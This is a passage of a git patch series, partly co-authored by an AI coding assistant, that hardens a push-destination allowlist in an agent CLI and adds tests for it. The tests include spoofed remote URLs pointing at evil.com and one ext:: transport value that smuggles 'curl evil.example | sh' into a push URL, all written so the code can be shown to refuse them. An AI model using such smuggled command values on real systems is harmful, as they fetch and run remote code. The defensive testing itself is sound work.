test_push_expected_repo_query_confusion_host_refused() -> None: + """Query-confusion URL (evil.com?@github.com/...) must resolve to evil.com.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="https://evil.com?@github.com/org/app.git") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_fragment_confusion_host_refused() -> None: + """Fragment-confusion URL (evil.com#@github.com/...) must resolve to evil.com.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="https://evil.com#@github.com/org/app.git") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_bare_url_no_host_refused() -> None: + """Schemeless bare org/repo push URL must not skip the host pin.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="org/app") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_ext_transport_injection_refused() -> None: + """ext:: git-remote transport injection must not pass the URL allowlist.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url( + argv, url="ext::sh -c 'curl evil.example | sh' git@github.com:org/app" + ) + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_file_scheme_refused() -> None: + """file:// is not an allowlisted scheme even when the path looks like github.com.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="file://github.com/org/app.git") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_custom_scheme_refused() -> None: + """Custom git-remote- schemes are outside the three allowlisted forms.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="custom://github.com/org/app.git") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_https_without_git_suffix_succeeds() -> None: + """HTTPS push URL without trailing .git is an allowlisted form.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="https://github.com/org/app") + if url is not None: + return url + if "fetch" in argv: + return Completed(0, "", "") + if "rev-list" in argv: + return Completed(0, "0\t1\n", "") + if argv == PUSH_ARGV: + return Completed(0, "", "") + if argv == ["git", "-C", CWD, "rev-parse", "HEAD"]: + return Completed(0, SHA + "\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + got = push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert got == SHA + assert PUSH_ARGV in calls + + +def test_push_expected_repo_scp_with_git_suffix_succeeds() -> None: + """SCP-style push URL WITH trailing .git is an allowlisted form.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="git@github.com:org/app.git") + if url is not None: + return url + if "fetch" in argv: + return Completed(0, "", "") + if "rev-list" in argv: + return Completed(0, "0\t1\n", "") + if argv == PUSH_ARGV: + return Completed(0, "", "") + if argv == ["git", "-C", CWD, "rev-parse", "HEAD"]: + return Completed(0, SHA + "\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + got = push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert got == SHA + assert PUSH_ARGV in calls + + +def test_push_expected_repo_scp_without_git_suffix_succeeds() -> None: + """SCP-style push URL without trailing .git is an allowlisted form.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="git@github.com:org/app") + if url is not None: + return url + if "fetch" in argv: + return Completed(0, "", "") + if "rev-list" in argv: + return Completed(0, "0\t1\n", "") + if argv == PUSH_ARGV: + return Completed(0, "", "") + if argv == ["git", "-C", CWD, "rev-parse", "HEAD"]: + return Completed(0, SHA + "\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + got = push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert got == SHA + assert PUSH_ARGV in calls + + +def test_push_expected_repo_ssh_url_form_succeeds() -> None: + """ssh://git@github.com/... push URL is an allowlisted form.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="ssh://git@github.com/org/app.git") + if url is not None: + return url + if "fetch" in argv: + return Completed(0, "", "") + if "rev-list" in argv: + return Completed(0, "0\t1\n", "") + if argv == PUSH_ARGV: + return Completed(0, "", "") + if argv == ["git", "-C", CWD, "rev-parse", "HEAD"]: + return Completed(0, SHA + "\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + got = push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert got == SHA + assert PUSH_ARGV in calls + + def test_push_ahead_zero_skips_push() -> None: calls: list[list[str]] = [] From 12e333db5700c0fc0eb4ceb7ca30309c879ae1b5 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 18:39:16 -0300 Subject: [PATCH 19/47] Fail closed when an error-fix task's repo can't be resolved for the push check. expected_repo was computed from task.repo and passed straight to push_branch, but the destination-allowlist check only runs when expected_repo isn't None -- so a missing, malformed, or stale repo field silently skipped the entire check this PR just spent four rounds hardening, while the push still went ahead under the branch-only identity check. The two existing error_id guards right above this code already fail loudly for the equivalent stale-row case; this mirrors the same pattern for repo. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/run_core.py | 11 +++++++++++ tests/test_fixer_act.py | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 44 insertions(+) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index c378599..9d0a551 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -898,6 +898,17 @@ def execute_spine_step( reason="task payload.error_id is set but error_fix_confirmed is False", message="task payload.error_id is set but error_fix_confirmed is False", ) + if error_id and _repo_ok(task.get("repo")) is None: + # Missing/malformed/stale task.repo would pass expected_repo=None + # and skip the push-destination allowlist check entirely while + # still pushing under the expected_branch-only identity check. + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason="task.repo could not be resolved for the push-destination check", + message="task.repo could not be resolved for the push-destination check", + ) # error_id non-empty here implies is_error_fix_originated (gated above). expected_branch = f"error-fix-{error_id[:8]}" if error_id else None try: diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index c801216..dcfe7cb 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -551,6 +551,39 @@ def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # assert _checklist(tmp_path, tid)["pushed"] == "ja" +def test_pushed_fails_loudly_on_unresolvable_repo( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """error-fix tasks must fail closed when task.repo cannot be resolved + for the push-destination check — expected_repo=None would silently skip + it while still pushing under the expected_branch-only identity check.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task["repo"] = "not-a-repo" + store.write("task", "update", tid, task) + finally: + store.close() + + def boom(*args, **kwargs): # type: ignore[no-untyped-def] + raise AssertionError( + "push_branch must not run when task.repo is unresolvable" + ) + + monkeypatch.setattr("agent_cli.git_act.push_branch", boom) + with pytest.raises(SystemExit) as exc: + run(tmp_path, ["run", "--task", tid]) + assert ( + "task.repo could not be resolved for the push-destination check" + in str(exc.value.code) + ) + assert _checklist(tmp_path, tid)["pushed"] != "ja" + + def test_drive_one_fails_loudly_on_stale_whitespace_only_error_id( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From fccb7759831d8343de8a75839e1103c90c6e9eb1 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 19:10:56 -0300 Subject: [PATCH 20/47] Make push_branch and PR-matching enforce their own invariants, not the caller's. push_branch relied on its one caller to pass expected_repo whenever expected_branch was set; it now refuses outright if that invariant is violated, so a future caller (or a bug in the current one) can't silently drop the destination check. Separately, the three helpers that look up a task's pr.open activity matched on branch head alone -- an error_id hex-prefix collision or a reused error_id across sessions could let one task's PR-gate lookups resolve to a different task's PR, backfilling the wrong PR number for a possibly different repo. They now also match on repo. Also: the PR-number lookup returned None on the first row with a malformed result instead of continuing to scan, so a newer corrupted row could permanently shadow an older valid one; and the push- destination guard now resolves repo the same way _drive_one already does (payload first, falling back to the task field) instead of a narrower task-only read that could diverge from what actually opened the PR. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 45 ++++++--- src/agent_cli/git_act.py | 5 + src/agent_cli/run_core.py | 19 ++-- tests/test_fixer_act.py | 183 +++++++++++++++++++++++++++++++++++-- tests/test_git_act.py | 36 +++++++- 5 files changed, 256 insertions(+), 32 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 89a808a..9c7a4a0 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -193,7 +193,7 @@ def template_pr_open_payload( } -def _pr_open_row_exists(store: Store, *, head: str) -> bool: +def _pr_open_row_exists(store: Store, *, head: str, repo: str) -> bool: """True when a successful pr.open already exists for this branch head. Only `done` skips the insert/resume path entirely. A `pending` row is @@ -210,12 +210,16 @@ def _pr_open_row_exists(store: Store, *, head: str) -> bool: if row.get("execution_status") != "done": continue payload = row.get("payload") - if isinstance(payload, dict) and payload.get("head") == head: + if ( + isinstance(payload, dict) + and payload.get("head") == head + and payload.get("repo") == repo + ): return True return False -def _pr_open_number(store: Store, *, head: str) -> int | None: +def _pr_open_number(store: Store, *, head: str, repo: str) -> int | None: """Return result.number from a done pr.open for head, or None if missing.""" origin = store.device_id() for row in store.rows("activity"): @@ -226,23 +230,27 @@ def _pr_open_number(store: Store, *, head: str) -> int | None: if row.get("execution_status") != "done": continue payload = row.get("payload") - if not isinstance(payload, dict) or payload.get("head") != head: + if ( + not isinstance(payload, dict) + or payload.get("head") != head + or payload.get("repo") != repo + ): continue result = row.get("result") if not isinstance(result, dict): - return None + continue number = result.get("number") if isinstance(number, bool): - return None + continue if isinstance(number, int) and number > 0: return number if isinstance(number, str) and number.isdigit() and int(number) > 0: return int(number) - return None + continue return None -def _pr_open_pending_row_exists(store: Store, *, head: str) -> bool: +def _pr_open_pending_row_exists(store: Store, *, head: str, repo: str) -> bool: """True when a mid-flight pr.open (execution_status=pending) exists for head.""" origin = store.device_id() for row in store.rows("activity"): @@ -253,7 +261,11 @@ def _pr_open_pending_row_exists(store: Store, *, head: str) -> bool: if row.get("execution_status") != "pending": continue payload = row.get("payload") - if isinstance(payload, dict) and payload.get("head") == head: + if ( + isinstance(payload, dict) + and payload.get("head") == head + and payload.get("repo") == repo + ): return True return False @@ -548,10 +560,10 @@ def _drive_one( error_id and repo and checklist.get("pushed") == "ja" - and not _pr_open_row_exists(store, head=pr_head) + and not _pr_open_row_exists(store, head=pr_head, repo=repo) ): try: - if _pr_open_pending_row_exists(store, head=pr_head): + if _pr_open_pending_row_exists(store, head=pr_head, repo=repo): # Crash between insert and scan left a pending row — resume # it rather than inserting a duplicate. from .github_act import scan_github @@ -582,7 +594,7 @@ def _drive_one( # Persistent gh pr create failures are almost always external # (auth/rate-limit/permissions). Leave the task untouched for the # next scan rather than failing it; each cron/knock scan retries. - if not _pr_open_row_exists(store, head=pr_head): + if not _pr_open_row_exists(store, head=pr_head, repo=repo): return f"error-fix-work {tid} pr.open-error (create failed)" except (StoreError, OSError, SystemExit) as exc: return f"error-fix-work {tid} pr.open-error ({exc})" @@ -595,9 +607,14 @@ def _drive_one( # since-crashed scan). Must not be nested inside the "does pr.open need # creating" guard above, since that guard is permanently False once the # row is done, which would otherwise permanently skip a missed backfill. - if error_id and repo and pr_head and _pr_open_row_exists(store, head=pr_head): + if ( + error_id + and repo + and pr_head + and _pr_open_row_exists(store, head=pr_head, repo=repo) + ): try: - pr_number = _pr_open_number(store, head=pr_head) + pr_number = _pr_open_number(store, head=pr_head, repo=repo) if pr_number is not None: task = store.row("task", tid) or task task_payload = ( diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index fcb5b38..c5b8d60 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -111,6 +111,11 @@ def push_branch( expected_repo: str | None = None, ) -> str: """Push the current branch if needed. Return HEAD sha (lowercase hex).""" + if expected_branch is not None and expected_repo is None: + raise GitActError( + "expected_branch set without expected_repo — refusing to push " + "without a destination check" + ) completed = runner(_git(cwd, "rev-parse", "--abbrev-ref", "HEAD")) if completed.returncode != 0: raise GitActError(_fail_detail(completed, "git failed")) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 9d0a551..275f123 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -898,16 +898,21 @@ def execute_spine_step( reason="task payload.error_id is set but error_fix_confirmed is False", message="task payload.error_id is set but error_fix_confirmed is False", ) - if error_id and _repo_ok(task.get("repo")) is None: - # Missing/malformed/stale task.repo would pass expected_repo=None - # and skip the push-destination allowlist check entirely while - # still pushing under the expected_branch-only identity check. + # Payload wins when both are valid but differ: _drive_one (which + # creates the PR) resolves repo the same way. A genuine + # two-valid-but-different-values divergence is not fail-closed here. + resolved_repo = _repo_ok(payload.get("repo") or task.get("repo")) + if error_id and resolved_repo is None: + # Missing/malformed/stale payload.repo and task.repo would pass + # expected_repo=None and skip the push-destination allowlist + # check entirely while still pushing under the + # expected_branch-only identity check. return RunOutcome( kind="failed", key=step.key, step=step, - reason="task.repo could not be resolved for the push-destination check", - message="task.repo could not be resolved for the push-destination check", + reason="task repo could not be resolved for the push-destination check", + message="task repo could not be resolved for the push-destination check", ) # error_id non-empty here implies is_error_fix_originated (gated above). expected_branch = f"error-fix-{error_id[:8]}" if error_id else None @@ -916,7 +921,7 @@ def execute_spine_step( cwd=run_cwd, runner=lambda argv: exec_argv(argv, cwd=run_cwd), expected_branch=expected_branch, - expected_repo=_repo_ok(task.get("repo")), + expected_repo=resolved_repo, ) except GitActError as exc: return RunOutcome( diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index dcfe7cb..21438cf 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -5,6 +5,7 @@ import os import shutil import subprocess +import time import uuid from pathlib import Path @@ -16,6 +17,7 @@ _error_fix_brief, _first_sentence, _open_error_fix_tasks, + _pr_open_number, _pr_open_row_exists, _runner_to_completed, drive_error_fix_tasks, @@ -451,6 +453,14 @@ def test_write_error_fix_spec_outside_git_worktree(tmp_path: Path) -> None: ) def real_runner(argv: list[str]) -> Completed: + # Destination check only: report a matching github URL while the + # actual push still targets the local bare remote. + if ( + len(argv) >= 6 + and argv[0] == "git" + and argv[3:6] == ["remote", "get-url", "--push"] + ): + return Completed(0, "git@github.com:org/app.git\n", "") proc = subprocess.run(argv, capture_output=True, text=True, check=False) return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") @@ -523,6 +533,7 @@ def real_runner(argv: list[str]) -> Completed: cwd=str(worktree), runner=real_runner, expected_branch="feat-spec-leak", + expected_repo="org/app", ) assert sha finally: @@ -554,9 +565,13 @@ def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # def test_pushed_fails_loudly_on_unresolvable_repo( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: - """error-fix tasks must fail closed when task.repo cannot be resolved + """error-fix tasks must fail closed when repo cannot be resolved for the push-destination check — expected_repo=None would silently skip - it while still pushing under the expected_branch-only identity check.""" + it while still pushing under the expected_branch-only identity check. + + Resolution is payload-first (matching _drive_one), so both fields must + be unresolvable for the guard to fire. + """ tid = _bootstrap_error_fix_task(tmp_path, capsys) _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) @@ -565,6 +580,8 @@ def test_pushed_fails_loudly_on_unresolvable_repo( task = store.row("task", tid) assert task is not None task["repo"] = "not-a-repo" + payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} + task["payload"] = {**payload, "repo": "also-not-a-repo"} store.write("task", "update", tid, task) finally: store.close() @@ -578,12 +595,44 @@ def boom(*args, **kwargs): # type: ignore[no-untyped-def] with pytest.raises(SystemExit) as exc: run(tmp_path, ["run", "--task", tid]) assert ( - "task.repo could not be resolved for the push-destination check" + "task repo could not be resolved for the push-destination check" in str(exc.value.code) ) assert _checklist(tmp_path, tid)["pushed"] != "ja" +def test_pushed_expected_repo_prefers_payload_over_task_repo( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """When task.repo and payload.repo both resolve but differ, payload wins + (same precedence as _drive_one, which creates the PR).""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task["repo"] = "org/task-repo" + payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} + task["payload"] = {**payload, "repo": "org/payload-repo"} + store.write("task", "update", tid, task) + finally: + store.close() + + captured: dict[str, object] = {} + + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] + captured["expected_repo"] = expected_repo + return "abcdef1234567890abcdef1234567890abcdef12" + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert captured.get("expected_repo") == "org/payload-repo" + assert _checklist(tmp_path, tid)["pushed"] == "ja" + + def test_drive_one_fails_loudly_on_stale_whitespace_only_error_id( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -631,7 +680,7 @@ def boom(*args, **kwargs): # type: ignore[no-untyped-def] ) assert "whitespace-only" in result assert "failed" in result - assert not _pr_open_row_exists(store, head="error-fix- ") + assert not _pr_open_row_exists(store, head="error-fix- ", repo="org/app") finally: store.close() @@ -1629,7 +1678,7 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] }, }, ) - assert _pr_open_row_exists(store, head=pr_head) + assert _pr_open_row_exists(store, head=pr_head, repo="org/app") _drive_one( store, @@ -2083,7 +2132,7 @@ def test_pr_open_row_exists_excludes_error_status( "execution_status": "error", }, ) - assert _pr_open_row_exists(store, head=head) is False + assert _pr_open_row_exists(store, head=head, repo="org/app") is False finally: store.close() @@ -2113,7 +2162,127 @@ def test_pr_open_row_exists_excludes_pending_status( "execution_status": "pending", }, ) - assert _pr_open_row_exists(store, head=head) is False + assert _pr_open_row_exists(store, head=head, repo="org/app") is False + finally: + store.close() + + +def test_pr_open_helpers_scope_by_repo( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Same head across different repos must not collide for exists/number.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + head = f"error-fix-{ERROR_ID[:8]}" + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + session_id = task["session_id"] + id_app = str(uuid.uuid4()) + id_other = str(uuid.uuid4()) + store.write( + "activity", + "insert", + id_app, + { + "id": id_app, + "session_id": session_id, + "type": "pr.open", + "payload": { + "head": head, + "repo": "org/app", + "title": "x", + "body": "y", + }, + "execution_status": "done", + "result": {"number": 11}, + }, + ) + store.write( + "activity", + "insert", + id_other, + { + "id": id_other, + "session_id": session_id, + "type": "pr.open", + "payload": { + "head": head, + "repo": "org/other", + "title": "x", + "body": "y", + }, + "execution_status": "done", + "result": {"number": 22}, + }, + ) + assert _pr_open_row_exists(store, head=head, repo="org/app") is True + assert _pr_open_row_exists(store, head=head, repo="org/other") is True + assert _pr_open_row_exists(store, head=head, repo="org/third") is False + assert _pr_open_number(store, head=head, repo="org/app") == 11 + assert _pr_open_number(store, head=head, repo="org/other") == 22 + assert _pr_open_number(store, head=head, repo="org/third") is None + finally: + store.close() + + +def test_pr_open_number_skips_malformed_newer_row( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """A newer done row with a malformed result must not block an older valid number.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + head = f"error-fix-{ERROR_ID[:8]}" + repo = "org/app" + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + session_id = task["session_id"] + older_id = str(uuid.uuid4()) + newer_id = str(uuid.uuid4()) + store.write( + "activity", + "insert", + older_id, + { + "id": older_id, + "session_id": session_id, + "type": "pr.open", + "payload": { + "head": head, + "repo": repo, + "title": "x", + "body": "y", + }, + "execution_status": "done", + "result": {"number": 42}, + }, + ) + # utcnow() is second-precision; sleep so the malformed row sorts first. + time.sleep(1.1) + store.write( + "activity", + "insert", + newer_id, + { + "id": newer_id, + "session_id": session_id, + "type": "pr.open", + "payload": { + "head": head, + "repo": repo, + "title": "x", + "body": "y", + }, + "execution_status": "done", + "result": {"number": "not-a-number"}, + }, + ) + assert _pr_open_number(store, head=head, repo=repo) == 42 finally: store.close() diff --git a/tests/test_git_act.py b/tests/test_git_act.py index 2b906f9..1c87109 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -647,6 +647,22 @@ def runner(argv: list[str]) -> Completed: assert not any("push" in a for a in calls) +def test_push_expected_branch_without_expected_repo_refused() -> None: + """expected_branch alone must not push — destination check is mandatory.""" + calls: list[list[str]] = [] + + def boom(argv: list[str]) -> Completed: + calls.append(list(argv)) + raise AssertionError(f"runner must not be called: {argv}") + + with pytest.raises( + GitActError, + match="expected_branch set without expected_repo", + ): + push_branch(cwd=CWD, runner=boom, expected_branch="feat-x") + assert calls == [] + + def test_push_expected_branch_mismatch() -> None: calls: list[list[str]] = [] @@ -658,7 +674,10 @@ def runner(argv: list[str]) -> Completed: with pytest.raises(GitActError, match="expects 'error-fix-aaaaaaaa'"): push_branch( - cwd=CWD, runner=runner, expected_branch="error-fix-aaaaaaaa" + cwd=CWD, + runner=runner, + expected_branch="error-fix-aaaaaaaa", + expected_repo="org/app", ) assert not any("push" in a for a in calls) @@ -702,13 +721,18 @@ def runner(argv: list[str]) -> Completed: return Completed(1, "", "no upstream configured") if argv == ["git", "-C", CWD, "remote"]: return Completed(0, "origin\n", "") + url = _remote_push_url(argv, url="git@github.com:org/app.git") + if url is not None: + return url if argv == SET_UPSTREAM_PUSH: return Completed(0, "", "") if argv == ["git", "-C", CWD, "rev-parse", "HEAD"]: return Completed(0, SHA + "\n", "") raise AssertionError(f"unexpected argv: {argv}") - got = push_branch(cwd=CWD, runner=runner, expected_branch="feat-x") + got = push_branch( + cwd=CWD, runner=runner, expected_branch="feat-x", expected_repo="org/app" + ) assert got == SHA assert SET_UPSTREAM_PUSH in calls for argv in calls: @@ -729,7 +753,9 @@ def runner(argv: list[str]) -> Completed: raise AssertionError(f"unexpected argv: {argv}") with pytest.raises(GitActError, match="ambiguous remotes"): - push_branch(cwd=CWD, runner=runner, expected_branch="feat-x") + push_branch( + cwd=CWD, runner=runner, expected_branch="feat-x", expected_repo="org/app" + ) def test_push_no_upstream_without_expected_branch_fails_closed() -> None: @@ -824,7 +850,9 @@ def runner(argv: list[str]) -> Completed: raise AssertionError(f"unexpected argv: {argv}") with pytest.raises(GitActError, match="refusing to push"): - push_branch(cwd=CWD, runner=runner, expected_branch=branch) + push_branch( + cwd=CWD, runner=runner, expected_branch=branch, expected_repo="org/app" + ) assert not any("push" in a for a in calls) assert not any("fetch" in a for a in calls) From 4d413477220fde839492baaab1e03965d7832400 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 19:31:35 -0300 Subject: [PATCH 21/47] Fix the third place round 42's payload-first repo resolution missed. _task_pull_request still resolved repo from task.repo alone, while the pr_number it returns for error-fix tasks comes from payload.pr_number -- backfilled against the payload-resolved repo everywhere else in this PR. A task.repo/payload.repo divergence would pair the wrong repo with that PR number, and this function feeds the 